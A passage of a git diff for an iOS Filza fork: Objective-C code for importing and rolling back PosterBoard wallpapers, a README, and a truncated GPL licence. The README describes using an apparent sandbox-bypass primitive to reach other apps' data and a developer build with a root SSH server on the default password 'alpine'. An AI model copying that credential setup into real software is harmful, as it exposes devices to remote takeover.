context[@"Extensions"]) || + ![target.stringByStandardizingPath isEqualToString: + [descriptorRoot stringByAppendingPathComponent:uuid].stringByStandardizingPath]) { + PBSetError(outError, EPERM, @"Rollback manifest contains an out-of-scope target"); + return nil; + } + PBTreeStats stats = {0}; + NSString *digest = PBTreeDigest(target, &stats, &error); + if (!digest || ![digest isEqualToString:entry[@"SHA256"]]) { + if (!error) PBSetError(&error, EBUSY, + @"Refusing rollback because %@ changed after import", target.lastPathComponent); + if (outError) *outError = error; + return nil; + } + } + + NSString *reportPath = [PBReportsDirectory() stringByAppendingPathComponent: + [NSString stringWithFormat:@"Rollback-%@", manifestPath.lastPathComponent]]; + NSMutableDictionary *report = [manifest mutableCopy]; + report[@"Status"] = @"rollback-pending"; + report[@"RollbackStartedAt"] = NSDate.date; + if (!PBWriteManifest(report, reportPath, &error)) { + if (outError) *outError = error; + return nil; + } + NSDictionary *refreshRecord = [manifest[@"RefreshPreference"] + isKindOfClass:NSDictionary.class] ? manifest[@"RefreshPreference"] : nil; + if (refreshRecord && !PBRestoreRefreshPreferences(refreshRecord, context, &error)) { + if (outError) *outError = error; + return nil; + } + NSUInteger removed = 0; + for (NSDictionary *entry in entries.reverseObjectEnumerator) { + if (![[NSFileManager defaultManager] removeItemAtPath:entry[@"Target"] error:&error]) break; + removed++; + } + if (removed != entries.count) { + if (outError) *outError = error ?: [NSError errorWithDomain:PBErrorDomain code:EIO + userInfo:@{NSLocalizedDescriptionKey: @"Rollback stopped before all descriptors were removed"}]; + return nil; + } + PBCleanupEmptyDirectories(manifest[@"CreatedParents"] ?: @[]); + NSString *preferenceBackup = refreshRecord[@"BackupPath"]; + if (preferenceBackup.length) + [[NSFileManager defaultManager] removeItemAtPath:preferenceBackup error:nil]; + report[@"Status"] = @"rolled-back"; + report[@"RolledBackAt"] = NSDate.date; + PBWriteManifest(report, reportPath, nil); + [[NSFileManager defaultManager] removeItemAtPath:manifestPath error:nil]; + return [NSString stringWithFormat:@"Removed %lu imported descriptor%@ and restored the refresh preferences.", + (unsigned long)removed, removed == 1 ? @"" : @"s"]; +} + +static NSString *PBInspection(NSError **outError) +{ + NSError *error = nil; + NSDictionary *context = PBPosterBoardContext(&error); + if (!context) { + if (outError) *outError = error; + return nil; + } + NSArray *providers = @[ + @"com.apple.WallpaperKit.CollectionsPoster", + @"com.apple.PhotosUIPrivate.PhotosPosterProvider", + @"com.apple.MercuryPoster", + ]; + NSMutableArray *lines = [NSMutableArray arrayWithObject: + [NSString stringWithFormat:@"Active structure: %@", context[@"Structure"]]]; + for (NSString *provider in providers) { + NSString *path = [[context[@"Extensions"] stringByAppendingPathComponent:provider] + stringByAppendingPathComponent:@"descriptors"]; + NSArray *names = PBDirectoryNames(path, nil) ?: @[]; + NSUInteger count = 0; + for (NSString *name in names) { + struct stat status = {0}; + NSString *child = [path stringByAppendingPathComponent:name]; + if (lstat(child.fileSystemRepresentation, &status) == 0 && S_ISDIR(status.st_mode)) + count++; + } + [lines addObject:[NSString stringWithFormat:@"%@: %lu descriptors", + provider.lastPathComponent, (unsigned long)count]]; + } + [lines addObject:@"Inspection is read-only."]; + return [lines componentsJoinedByString:@"\n"]; +} + +static NSArray *PBPackageDirectories(void) +{ + NSArray *names = PBDirectoryNames(PBImportsDirectory(), nil) ?: @[]; + NSMutableArray *packages = [NSMutableArray array]; + for (NSString *name in names) { + if (PBSkippedName(name)) continue; + NSString *path = [PBImportsDirectory() stringByAppendingPathComponent:name]; + struct stat status = {0}; + if (lstat(path.fileSystemRepresentation, &status) == 0 && S_ISDIR(status.st_mode)) + [packages addObject:path]; + if (packages.count == 10) break; + } + return packages; +} + +static void PBInstallBundledSamples(void) +{ + NSString *sampleRoot = [NSBundle.mainBundle.resourcePath + stringByAppendingPathComponent:@"WallpaperSamples"]; + if (!PBDirectoryNoSymlink(sampleRoot, YES, nil)) return; + NSArray *names = PBDirectoryNames(sampleRoot, nil) ?: @[]; + NSFileManager *manager = NSFileManager.defaultManager; + for (NSString *name in names) { + if (PBSkippedName(name)) continue; + NSString *source = [sampleRoot stringByAppendingPathComponent:name]; + NSString *destination = [PBImportsDirectory() stringByAppendingPathComponent:name]; + if (![manager fileExistsAtPath:destination]) { + NSError *error = nil; + if ([manager copyItemAtPath:source toPath:destination error:&error]) + NSLog(@"[WallpaperLab] installed bundled sample %@", name); + else + NSLog(@"[WallpaperLab] bundled sample copy failed %@ detail=%@", name, error); + } + } +} + +static void PBStartAutomaticCipherImport(void) +{ + static dispatch_once_t onceToken; + dispatch_once(&onceToken, ^{ + NSString *package = [PBImportsDirectory() + stringByAppendingPathComponent:@"Cipher by mightycooldude12"]; + NSString *reportPath = [PBReportsDirectory() + stringByAppendingPathComponent:@"Automatic-Cipher-Import.plist"]; + NSDictionary *existing = [NSDictionary dictionaryWithContentsOfFile:reportPath]; + if ([existing[@"Status"] isEqualToString:@"success"]) return; + if (!PBDirectoryNoSymlink(package, YES, nil)) return; + for (NSString *manifestPath in PBManifestPaths()) { + NSDictionary *manifest = [NSDictionary dictionaryWithContentsOfFile:manifestPath]; + if ([manifest[@"Status"] isEqualToString:@"installed"] && + [manifest[@"Version"] isEqual:@2] && + [manifest[@"Package"] isEqualToString:package.lastPathComponent]) { + NSString *message = @"Cipher was already imported with refresh preferences. Open Settings > Wallpaper."; + NSDictionary *report = @{@"Version": @1, @"Package": package.lastPathComponent, + @"Status": @"success", @"AttemptedAt": NSDate.date, @"Message": message}; + PBWriteManifest(report, reportPath, nil); + [message writeToFile:[PBWorkspace() stringByAppendingPathComponent: + @"CIPHER READY - OPEN SETTINGS.txt"] atomically:YES + encoding:NSUTF8StringEncoding error:nil]; + return; + } + } + + dispatch_after(dispatch_time(DISPATCH_TIME_NOW, 500 * NSEC_PER_MSEC), + dispatch_get_global_queue(QOS_CLASS_USER_INITIATED, 0), ^{ + NSError *error = nil; + NSString *result = PBImportPackage(package, &error); + BOOL success = result != nil; + NSDictionary *report = @{ + @"Version": @1, + @"Package": package.lastPathComponent, + @"Status": success ? @"success" : @"failed", + @"AttemptedAt": NSDate.date, + @"Message": result ?: error.localizedDescription ?: @"Unknown failure", + }; + PBWriteManifest(report, reportPath, nil); + NSString *readyPath = [PBWorkspace() + stringByAppendingPathComponent:@"CIPHER READY - OPEN SETTINGS.txt"]; + NSString *failurePath = [PBWorkspace() + stringByAppendingPathComponent:@"CIPHER IMPORT FAILED.txt"]; + NSFileManager *manager = NSFileManager.defaultManager; + if (success) { + [manager removeItemAtPath:failurePath error:nil]; + [result writeToFile:readyPath atomically:YES + encoding:NSUTF8StringEncoding error:nil]; + NSLog(@"[WallpaperLab] automatic Cipher import succeeded: %@", result); + } else { + [manager removeItemAtPath:readyPath error:nil]; + [error.localizedDescription writeToFile:failurePath atomically:YES + encoding:NSUTF8StringEncoding error:nil]; + NSLog(@"[WallpaperLab] automatic Cipher import failed: %@", error); + } + }); + }); +} + +static UIViewController *PBTopController(UIViewController *controller) +{ + while (controller) { + UIViewController *next = controller.presentedViewController; + if (!next && [controller isKindOfClass:UINavigationController.class]) + next = ((UINavigationController *)controller).visibleViewController; + if (!next && [controller isKindOfClass:UITabBarController.class]) + next = ((UITabBarController *)controller).selectedViewController; + if (!next || next == controller) break; + controller = next; + } + return controller; +} + +@interface PBWallpaperFeatureController : NSObject +@property(nonatomic, weak) UIViewController *presenter; +@property(nonatomic) dispatch_queue_t operationQueue; ++ (instancetype)sharedController; +- (void)showMenu:(UIBarButtonItem *)sender; +@end + +@implementation PBWallpaperFeatureController + ++ (instancetype)sharedController +{ + static PBWallpaperFeatureController *controller; + static dispatch_once_t onceToken; + dispatch_once(&onceToken, ^{ + controller = [PBWallpaperFeatureController new]; + controller.operationQueue = dispatch_queue_create( + "local.filzamod.posterboard", DISPATCH_QUEUE_SERIAL); + }); + return controller; +} + +- (void)showAlertWithTitle:(NSString *)title message:(NSString *)message +{ + UIViewController *presenter = PBTopController(self.presenter); + if (!presenter) return; + UIAlertController *alert = [UIAlertController alertControllerWithTitle:title + message:message preferredStyle:UIAlertControllerStyleAlert]; + [alert addAction:[UIAlertAction actionWithTitle:@"OK" style:UIAlertActionStyleDefault handler:nil]]; + [presenter presentViewController:alert animated:YES completion:nil]; +} + +- (void)runOperationWithTitle:(NSString *)title block:(NSString *(^)(NSError **error))block +{ + dispatch_async(self.operationQueue, ^{ + NSError *error = nil; + NSString *message = block(&error); + dispatch_async(dispatch_get_main_queue(), ^{ + [self showAlertWithTitle:message ? title : @"Wallpaper operation failed" + message:message ?: error.localizedDescription ?: @"Unknown error"]; + }); + }); +} + +- (void)confirmImport:(NSString *)package +{ + UIViewController *presenter = PBTopController(self.presenter); + UIAlertController *alert = [UIAlertController alertControllerWithTitle:@"Import wallpaper package?" + message:[NSString stringWithFormat: + @"%@ will add only new descriptor directories. Existing PosterBoard files are not overwritten.", + package.lastPathComponent] + preferredStyle:UIAlertControllerStyleAlert]; + [alert addAction:[UIAlertAction actionWithTitle:@"Cancel" style:UIAlertActionStyleCancel handler:nil]]; + __weak typeof(self) weakSelf = self; + [alert addAction:[UIAlertAction actionWithTitle:@"Import" style:UIAlertActionStyleDefault + handler:^(__unused UIAlertAction *action) { + [weakSelf runOperationWithTitle:@"Wallpaper imported" + block:^NSString *(NSError **error) { return PBImportPackage(package, error); }]; + }]]; + [presenter presentViewController:alert animated:YES completion:nil]; +} + +- (void)confirmRollback +{ + UIViewController *presenter = PBTopController(self.presenter); + UIAlertController *alert = [UIAlertController alertControllerWithTitle:@"Roll back last import?" + message:@"Rollback removes only descriptors from the newest Filza Mod manifest, and refuses if their hashes changed." + preferredStyle:UIAlertControllerStyleAlert]; + [alert addAction:[UIAlertAction actionWithTitle:@"Cancel" style:UIAlertActionStyleCancel handler:nil]]; + __weak typeof(self) weakSelf = self; + [alert addAction:[UIAlertAction actionWithTitle:@"Roll Back" style:UIAlertActionStyleDestructive + handler:^(__unused UIAlertAction *action) { + [weakSelf runOperationWithTitle:@"Wallpaper rollback complete" + block:^NSString *(NSError **error) { return PBRollBackLatest(error); }]; + }]]; + [presenter presentViewController:alert animated:YES completion:nil]; +} + +- (void)showMenu:(UIBarButtonItem *)sender +{ + UIViewController *presenter = PBTopController(self.presenter); + if (!presenter) return; + UIAlertController *sheet = [UIAlertController alertControllerWithTitle:@"Wallpaper Lab" + message:@"Bounded Nugget-style PosterBoard descriptor import" + preferredStyle:UIAlertControllerStyleActionSheet]; + __weak typeof(self) weakSelf = self; + [sheet addAction:[UIAlertAction actionWithTitle:@"Inspect PosterBoard" + style:UIAlertActionStyleDefault handler:^(__unused UIAlertAction *action) { + [weakSelf runOperationWithTitle:@"PosterBoard inspection" + block:^NSString *(NSError **error) { return PBInspection(error); }]; + }]]; + for (NSString *package in PBPackageDirectories()) { + [sheet addAction:[UIAlertAction actionWithTitle: + [@"Import " stringByAppendingString:package.lastPathComponent] + style:UIAlertActionStyleDefault handler:^(__unused UIAlertAction *action) { + [weakSelf confirmImport:package]; + }]]; + } + if (PBManifestPaths().count > 0) { + [sheet addAction:[UIAlertAction actionWithTitle:@"Roll Back Last Import" + style:UIAlertActionStyleDestructive handler:^(__unused UIAlertAction *action) { + [weakSelf confirmRollback]; + }]]; + } + [sheet addAction:[UIAlertAction actionWithTitle:@"Help" style:UIAlertActionStyleDefault + handler:^(__unused UIAlertAction *action) { + [weakSelf showAlertWithTitle:@"Wallpaper Lab" + message:@"Cipher imports automatically on first launch. Other extracted .tendies packages can be placed in [MHA-C2] Wallpaper Lab/Imports. Container-style packages are rejected. Imports are capped at 10 descriptors and 256 MiB. The refresh preference is backed up for rollback; the PosterBoard database is not changed."]; + }]]; + [sheet addAction:[UIAlertAction actionWithTitle:@"Cancel" style:UIAlertActionStyleCancel handler:nil]]; + sheet.popoverPresentationController.barButtonItem = sender; + [presenter presentViewController:sheet animated:YES completion:nil]; +} + +@end + +void PBWallpaperFeatureStart(void) +{ + NSFileManager *manager = NSFileManager.defaultManager; + for (NSString *directory in @[PBWorkspace(), PBImportsDirectory(), PBBackupsDirectory(), + PBReportsDirectory()]) { + [manager createDirectoryAtPath:directory withIntermediateDirectories:YES + attributes:@{NSFilePosixPermissions: @0700} error:nil]; + } + PBInstallBundledSamples(); + NSString *readme = [PBWorkspace() stringByAppendingPathComponent:@"README.txt"]; + NSString *text = @"Wallpaper Lab\n\n" + @"Primitive: MHA-MCM class 2 application-data lookup for com.apple.PosterBoard.\n" + @"This folder is local staging. PosterBoard access starts only during a Wallpaper Lab action.\n\n" + @"The bundled GPL-licensed Cipher wallpaper imports automatically on first launch.\n" + @"When CIPHER READY appears here, open Settings > Wallpaper.\n\n" + @"Other descriptor-style .tendies packages may be extracted into Imports.\n" + @"Only descriptor-style packages are supported. Container-style packages are rejected.\n" + @"Imports add new UUID directories and never overwrite the PosterBoard database or an existing descriptor.\n" + @"Nugget's refresh keys are merged into the preference file after an exact backup is saved.\n" + @"Rollback verifies SHA-256 hashes before restoring the preference and removing the descriptor.\n"; + [text writeToFile:readme atomically:YES encoding:NSUTF8StringEncoding error:nil]; + PBStartAutomaticCipherImport(); +} + +void PBWallpaperConfigureBrowser(UIViewController *controller, NSString *currentPath) +{ + if (!controller) return; + PBWallpaperFeatureController *feature = [PBWallpaperFeatureController sharedController]; + NSString *workspace = PBCanonicalPath(PBWorkspace()); + BOOL visible = [PBCanonicalPath(currentPath) isEqualToString:workspace]; + NSMutableArray *items = + [NSMutableArray arrayWithArray:controller.navigationItem.rightBarButtonItems ?: @[]]; + NSIndexSet *ours = [items indexesOfObjectsPassingTest: + ^BOOL(UIBarButtonItem *item, __unused NSUInteger index, __unused BOOL *stop) { + return item.tag == PBButtonTag; + }]; + [items removeObjectsAtIndexes:ours]; + if (visible) { + feature.presenter = controller; + UIBarButtonItem *button = [[UIBarButtonItem alloc] initWithTitle:@"Wallpaper" + style:UIBarButtonItemStylePlain target:feature action:@selector(showMenu:)]; + button.tag = PBButtonTag; + // Filza continuously restores its Edit item. At the lab root the + // wallpaper action replaces it; Edit returns in child directories. + [items removeAllObjects]; + [items addObject:button]; + NSLog(@"[WallpaperLab] installed navigation action class=%@ path=%@ canonical=%@", + NSStringFromClass(controller.class), currentPath, PBCanonicalPath(currentPath)); + } + controller.navigationItem.rightBarButtonItems = items; +} diff --git a/README.md b/README.md new file mode 100644 index 0000000..0c76851 --- /dev/null +++ b/README.md @@ -0,0 +1,130 @@ +# Filza 27.2 — worse_query build + +Filza fork for iOS 26.0–26.7.2 and iOS 27.0–27.2, built around +[forcequitOS/worse_query](https://github.com/forcequitOS/worse_query). It runs +under a normal Apple signing identity and does not require a jailbreak or a +root helper. + +## Two builds + +| | Public | Developer | +|---|---|---| +| Bundle ID | `com.jbjf.filza` | `com.jbjf.filzanb` | +| Display name | `filza27.2` | `filza27.2` | +| Install together | yes | yes | +| worse_query browser | yes | yes | +| App data / App Groups browser | yes | yes | +| WebDAV server | yes | yes | +| `.deb` installer + apt/dpkg | yes | yes | +| Terminal | — | full a-Shell command set | +| SSH server | — | mobile / root, password `alpine`, port 2222 | +| `mount`, `extract`, archive support | terminal only | yes | +| `neofetch`, `respring` | — | yes | + +Release assets are named exactly: + +``` +filza_public.ipa +filza_develop.ipa +``` + +## Features + +- Per-container worse_query grants for app, extension, internal-daemon and + system-group data. +- Accessible roots, App Data (by app), App Data (UUID), App Groups and System + Data links saved as Filza favorites. +- Startup progress overlay; first launch indexes installed apps and container + families. +- Moves Filza's Trash into the app sandbox. +- In-process WebDAV server on port 11111 (fallback ports if busy). +- In-process dpkg/apt with support for `.deb` installation, `dpkg -l/-L/-s/-r`, + `apt update/list/search/show/install/remove`. +- Developer terminal command set excludes Python, Node.js and Lua/TeX, and + includes Perl, ImageMagick, FFmpeg, ripgrep, make and the rest of a-Shell. +- `mount` lists mounted filesystems. +- `extract`, `unzip`, `untar`, `un7z`, `unrar` extract zip, tar, tar.gz, gz, + bz2, xz, zst, 7z and rar through libarchive. +- `test.deb` (official Procursus `apt 2.9.4-1`) and an executable `test` script + are copied into `worse_query` on first launch. +- `respring` uses Erosion's WebKit pressure method. + +## Build + +Requirements: + +- macOS with Theos and iOS SDKs. +- An unsigned Filza base IPA at `base/FilzaSlop-v1.2.0-unsigned.ipa` + (or set `BASE_IPA`). +- A signing profile with at least one App Group. Set `WQ_APP_GROUPS` + (space-separated). +- For the developer build: an a-Shell IPA at `$HOME/Downloads/Terminal.ipa` + (or set `ASHELL_IPA`). + +Public: + +```sh +export WQ_APP_GROUPS="group.example.01" +export PROFILE="/path/to/profile.mobileprovision" +export ENTITLEMENTS="/path/to/entitlements.plist" +export SIGN_IDENTITY="Apple Distribution: ..." +export KEYCHAIN="$HOME/Library/Keychains/signing.keychain-db" +./scripts/build_public.sh +``` + +Developer: + +```sh +export ASHELL_IPA="$HOME/Downloads/Terminal.ipa" +./scripts/build_developer.sh +``` + +Both: + +```sh +./scripts/build_release.sh +# build/filza_public.ipa +# build/filza_develop.ipa +``` + +Without `SIGN_IDENTITY` the script produces an ad-hoc-signed IPA. Nested +Mach-O files and the app are signed in the same pass. + +## Terminal quick test + +```sh +cd "$(sbx_status | sed -n 's/^hub: //p')" +ls -l test test.deb +./test +mount +extract test.deb -C apt +extract sample.zip -C out +``` + +`./test` is a `#!/bin/dash` script; iOS does not allow executing Mach-O files +from the app data container, so scripts are run through the bundled `dash`. + +SSH (developer build): + +```sh +ssh -p 2222 mobile@DEVICE_IP # password: alpine +ssh -p 2222 root@DEVICE_IP # password: alpine +``` + +Sessions start in the `worse_query` hub. + +## Signing notes + +The app needs one App Group entitlement for worse_query. The public and +developer bundle IDs must match their provisioning profiles. The build script +removes Filza's `CFBundleURLTypes` and the bundled Sharing extension so the +single-App-ID profile can sign the app. + +## Credits + +- [0xjohnnydev/FilzaSlop](https://github.com/0xjohnnydev/FilzaSlop) +- [forcequitOS/worse_query](https://github.com/forcequitOS/worse_query) +- [a-Shell](https://github.com/holzschu/a-Shell) / ios_system +- [libssh](https://www.libssh.org/) +- [jailbreakdotparty/Erosion](https://github.com/jailbreakdotparty/Erosion) for + the WebKit respring method diff --git a/Resources/WallpaperSamples/Cipher by mightycooldude12/LICENSE-GPL-3.0.txt b/Resources/WallpaperSamples/Cipher by mightycooldude12/LICENSE-GPL-3.0.txt new file mode 100644 index 0000000..f288702 --- /dev/null +++ b/Resources/WallpaperSamples/Cipher by mightycooldude12/LICENSE-GPL-3.0.txt @@ -0,0 +1,674 @@ + GNU GENERAL PUBLIC LICENSE + Version 3, 29 June 2007 + + Copyright (C) 2007 Free Software Foundation, Inc. + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + + Preamble + + The GNU General Public License is a free, copyleft license for +software and other kinds of works. + + The licenses for most software and other practical works are designed +to take away your freedom to share and change the works. By contrast, +the GNU General Public License is intended to guarantee your freedom to +share and change all versions of a program--to make sure it remains free +software for all its users. We, the Free Software Foundation, use the +GNU General Public License for most of our software; it applies also to +any other work released this way by its authors. You can apply it to +your programs, too. + + When we speak of free software, we are referring to freedom, not +price. Our General Public Licenses are designed to make sure that you +have the freedom to distribute copies of free software (and charge for +them if you wish), that you receive source code or can get it if you +want it, that you can change the software or use pieces of it in new +free programs, and that you know you can do these things. + + To protect your rights, we need to prevent others from denying you +these rights or asking you to surrender the rights. Therefore, you have +certain responsibilities if you distribute copies of the software, or if +you modify it: responsibilities to respect the freedom of others. + + For example, if you distribute copies of such a program, whether +gratis or for a fee, you must pass on to the recipients the same +freedoms that you received. You must make sure that they, too, receive +or can get the source code. And you must show them these terms so they +know their rights. + + Developers that use the GNU GPL protect your rights with two steps: +(1) assert copyright on the software, and (2) offer you this License +giving you legal permission to copy, distribute and/or modify it. + + For the developers' and authors' protection, the GPL clearly explains +that there is no warranty for this free software. For both users' and +authors' sake, the GPL requires that modified versions be marked as +changed, so that their problems will not be attributed erroneously to +authors of previous versions. + + Some devices are designed to deny users access to install or run +modified versions of the software inside them, although the manufacturer +can do so. This is fundamentally incompatible with the aim of +protecting users' freedom to change the software. The systematic +pattern of such abuse occurs in the area of products for individuals to +use, which is precisely where it is most unacceptable. Therefore, we +have designed this version of the GPL to prohibit the practice for those +products. If such problems arise substantially in other domains, we +stand ready to extend this provision to those domains in future versions +of the GPL, as needed to protect the freedom of users. + + Finally, every program is threatened constantly by software patents. +States should not allow patents to restrict development and use of +software on general-purpose computers, but in those that do, we wish to +avoid the special danger that patents applied to a free program could +make it effectively proprietary. To prevent this, the GPL assures that +patents cannot be used to render the program non-free. + + The precise terms and conditions for copying, distribution and +modification follow. + + TERMS AND CONDITIONS + + 0. Definitions. + + "This License" refers to version 3 of the GNU General Public License. + + "Copyright" also means copyright-like laws that apply to other kinds of +works, such as semiconductor masks. + + "The Program" refers to any copyrightable work licensed under this +License. Each licensee is addressed as "you". "Licensees" and +"recipients" may be individuals or organizations. + + To "modify" a work means to copy from or adapt all or part of the work +in a fashion requiring copyright permission, other than the making of an +exact copy. The resulting work is called a "modified version" of the +earlier work or a work "based on" the earlier work. + + A "covered work" means either the unmodified Program or a work based +on the Program. + + To "propagate" a work means to do anything with it that, without +permission, would make you directly or secondarily liable for +infringement under applicable copyright law, except executing it on a +computer or modifying a private copy. Propagation includes copying, +distribution (with or without modification), making available to the +public, and in some countries other activities as well. + + To "convey" a work means any kind of propagation that enables other +parties to make or receive copies. Mere interaction with a user through +a computer network, with no transfer of a copy, is not conveying. + + An interactive user interface displays "Appropriate Legal Notices" +to the extent that it includes a convenient and prominently visible +feature that (1) displays an appropriate copyright notice, and (2) +tells the user that there is no warranty for the work (except to the +extent that warranties are provided), that licensees may convey the +work under this License, and how to view a copy of this License. If +the interface presents a list of user commands or options, such as a +menu, a prominent item in the list meets this criterion. + + 1. Source Code. + + The "source code" for a work means the preferred form of the work +for making modifications to it. "Object code" means any non-source +form of a work. + + A "Standard Interface" means an interface that either is an official +standard defined by a recognized standards body, or, in the case of +interfaces specified for a particular programming language, one that +is widely used among developers working in that language. + + The "System Libraries" of an executable work include anything, other +than the work as a whole, that (a) is included in the normal form of +packaging a Major Component, but which is not part of that Major +Component, and (b) serves only to enable use of the work with that +Major Component, or to implement a Standard Interface for which an +implementation is available to the public in source code form. A +"Major Component", in this context, means a major essential component +(kernel, window system, and so on) of the specific operating system +(if any) on which the executable work runs, or a compiler used to +produce the work, or an object code interpreter used to run it. + + The "Corresponding Source" for a work in object code form means all +the source code needed to generate, install, and (for an executable +work) run the object code and to modify the work, including scripts to +control those activities. However, it does not include the work's +System Libraries, or general-purpose tools or generally available free +programs which are used unmodified in performing those activities but +which are not part of the work. For example, Corresponding Source +includes interface definition files associated with source files for +the work, and the source code for shared libraries and dynamically +linked subprograms that the work is specifically designed to require, +such as by intimate data communication or control flow between those +subprograms and other parts of the work. + + The Corresponding Source need not include anything that users +can regenerate automatically from other parts of the Corresponding +Source. + + The Corresponding Source for a work in source code form is that +same work. + + 2. Basic Permissions. + + All rights granted under this License are granted for the term of +copyright on the Program, and are irrevocable provided the stated +conditions are met. This License explicitly affirms your unlimited +permission to run the unmodified Program. The output from running a +covered work is covered by this License only if the output, given its +content, constitutes a covered work. This License acknowledges your +rights of fair use or other equivalent, as provided by copyright law. + + You may make, run and propagate covered works that you do not +convey, without conditions so long as your license otherwise remains +in force. You may convey covered works to others for the sole purpose +of having them make modifications exclusively for you, or provide you +with facilities for running those works, provided that you comply with +the terms of this License in conveying all material for which you do +not control copyright. Those thus making or running the covered works +for you must do so exclusively on your behalf, under your direction +and control, on terms that prohibit them from making any copies of +your copyrighted material outside their relationship with you. + + Conveying under any other circumstances is permitted solely under +the conditions stated below. Sublicensing is not allowed; section 10 +makes it unnecessary. + + 3. Protecting Users' Legal Rights From Anti-Circumvention Law. + + No covered work shall be deemed part of an effective technological +measure under any applicable law fulfilling obligations under article +11 of the WIPO copyright treaty adopted on 20 December 1996, or +similar laws prohibiting or restricting circumvention of such +measures. + + When you convey a covered work, you waive any legal power to forbid +circumvention of technological measures to the extent such circumvention +is effected by exercising rights under this License with respect to +the covered work, and you disclaim any intention to limit operation or +modification of the work as a means of enforcing, against the work's +users, your or third parties' legal rights to forbid circumvention of +technological measures. + + 4. Conveying Verbatim Copies. + + You may convey verbatim copies of the Program's source code as you +receive it, in any medium, provided that you conspicuously and +appropriately publish on each copy an appropriate copyright notice; +keep intact all notices stating that this License and any +non-permissive terms added in accord with section 7 apply to the code; +keep intact all notices of the absence of any warranty; and give all +recipients a copy of this License along with the Program. + + You may charge any price or no price for each copy that you convey, +and you may offer support or warranty protection for a fee. + + 5. Conveying Modified Source Versions. + + You may convey a work based on the Program, or the modifications to +produce it from the Program, in the form of source code under the +terms of section 4, provided that you also meet all of these conditions: + + a) The work must carry prominent notices stating that you modified + it, and giving a relevant date. + + b) The work must carry prominent notices stating that it is + released under this License and any conditions added under section + 7. This requirement modifies the requirement in section 4 to + "keep intact all notices". + + c) You must license the entire work, as a whole, under this + License to anyone who comes into possession of a copy. This + License will therefore apply, along with any applicable section 7 + additional terms, to the whole of the work, and all its parts, + regardless of how they are packaged. This License gives no + permission to license the work in any other way, but it does not + invalidate such permission if you have separately received it. + + d) If the work has interactive user interfaces, each must display + Appropriate Legal Notices; however, if the Program has interactive + interfaces that do not display Appropriate Legal Notices, your + work need not make them do so. + + A compilation of a covered work with other separate and independent +works, which are not by their nature extensions of the covered work, +and which are not combined with it such as to form a larger program, +in or on a volume of a storage or distribution medium, is called an +"aggregate" if the compilation and its resulting copyright are not +used to limit the access or legal rights of the compilation's users +beyond what the individual works permit. Inclusion of a covered work +in an aggregate does not cause this License to apply to the other +parts of the aggregate. + + 6. Conveying Non-Source Forms. + + You may convey a covered work in object code form under the terms +of sections 4 and 5, provided that you also convey the +machine-readable Corresponding Source under the terms of this License, +in one of these ways: + + a) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by the + Corresponding Source fixed on a durable physical medium + customarily used for software interchange. + + b) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by a + written offer, valid for at least three years and valid for as + long as you offer spare parts or customer support for that product + model, to give anyone who possesses the object code either (1) a + copy of the Corresponding Source for all the software in the + product that is covered by this License, on a durable physical + medium customarily used for software interchange, for a price no + more than your reasonable cost of physically performing this + conveying of source, or (2) access to copy the + Corresponding Source from a network server at no charge. + + c) Convey individual copies of the object code with a copy of the + written offer to provide the Corresponding Source. This + alternative is allowed only occasionally and noncommercially, and + only if you received the object code with such an offer, in accord + with subsection 6b. + + d) Convey the object code by offering access from a designated + place (gratis or for a charge), and offer equivalent access to the + Corresponding Source in the same way through the same place at no + further charge. You need not require recipients to copy the + Corresponding Source along with the object code. If the place to + copy the object code is a network server, the Corresponding Source + may be on a different server (operated by you or a third party) + that supports equivalent copying facilities, provided you maintain + clear directions next to the object code saying where to find the + Corresponding Source. Regardless of what server hosts the + Corresponding Source, you remain obligated to ensure that it is + available for as long as needed to satisfy these requirements. + + e) Convey the object code using peer-to-peer transmission, provided + you inform other peers where the object code and Corresponding + Source of the work are being offered to the general public at no + charge under subsection 6d. + + A separable portion of the object code, whose source code is excluded +from the Corresponding Source as a System Library, need not be +included in conveying the object code work. + + A "User Product" is either (1) a "consumer product", which means any +tangible personal property which is normally used for personal, family, +or household purposes, or (2) anything designed or sold for incorporation +into a dwelling. In determining whether a product is a consumer product, +doubtful cases shall be resolved in favor of coverage. For a particular +product received by a particular user, "normally used" refers to a +typical or common use of that class of product, regardless of the status +of the particular user or of the way in which the particular user +actually uses, or expects or is expected to use, the product. A product +is a consumer product regardless of whether the product has substantial +commercial, industrial or non-consumer uses, unless such uses represent +the only significant mode of use of the product. + + "Installation Information" for a User Product means any methods, +procedures, authorization keys, or other information required to install +and execute modified versions of a covered work in that User Product from +a modified version of its Corresponding Source. The information must +suffice to ensure that the continued functioning of the modified object +code is in no case prevented or interfered with solely because +modification has been made. + + If you convey an object code work under this section in, or with, or +specifically for use in, a User Product, and the conveying occurs as +part of a transaction in which the right of possession and use of the +User Product is transferred to the recipient in perpetuity or for a +fixed term (regardless of how the transaction is characterized), the +Corresponding Source conveyed under this section must be accompanied +by the Installation Information. But this requirement does not apply +if neither you nor any third party retains the ability to install +modified object code on the User Product (for example, the work has +been installed in ROM). + + The requirement to provide Installation Information does not include a +requirement to continue to provide support service, warranty, or updates +for a work that has been modified or installed by the recipient, or for +the User Product in which it has been modified or installed. Access to a +network may be denied when the modification itself materially and +adversely affects the operation of the network or violates the rules and +protocols for communication across the network. + + Corresponding Source conveyed, and Installation Information provided, +in accord with this section must be in a format that is publicly +documented (and with an implementation available to the public in +source code form), and must require no special password or key for +unpacking, reading or copying. + + 7. Additional Terms. + + "Additional permissions" are terms that supplement the terms of this +License by making exceptions from one or more of its conditions. +Additional permissions that are applicable to the entire Program shall +be treated as though they were included in this License, to the extent +that they are valid under applicable law. If additional permissions +apply only to part of the Program, that part may be used separately +under those permissions, but the entire Program remains governed by +this License without regard to the additional permissions. + + When you convey a copy of a covered work, you may at your option +remove any additional permissions from that copy, or from any part of +it. (Additional permissions may be written to require their own +removal in certain cases when you modify the work.) You may place +additional permissions on material, added by you to a covered work, +for which you have or can give appropriate copyright permission. + + Notwithstanding any other provision of this License, for material you +add to a covered work, you may (if authorized by the copyright holders of +that material) supplement the terms of this License with terms: + + a) Disclaiming warranty or limiting liability differently from the + terms of sections 15 and 16 of this License; or + + b) Requiring preservation of specified reasonable legal notices or + author attributions in that material or in the Appropriate Legal + Notices displayed by works containing it; or + + c) Prohibiting misrepresentation of the origin of that material, or + requiring that modified versions of such material be marked in + reasonable ways as different from the original version; or + + d) Limiting the use for publicity purposes of names of licensors or + authors of the material; or + + e) Declining to grant rights under trademark law for use of some + trade names, trademarks, or service marks; or + + f) Requiring 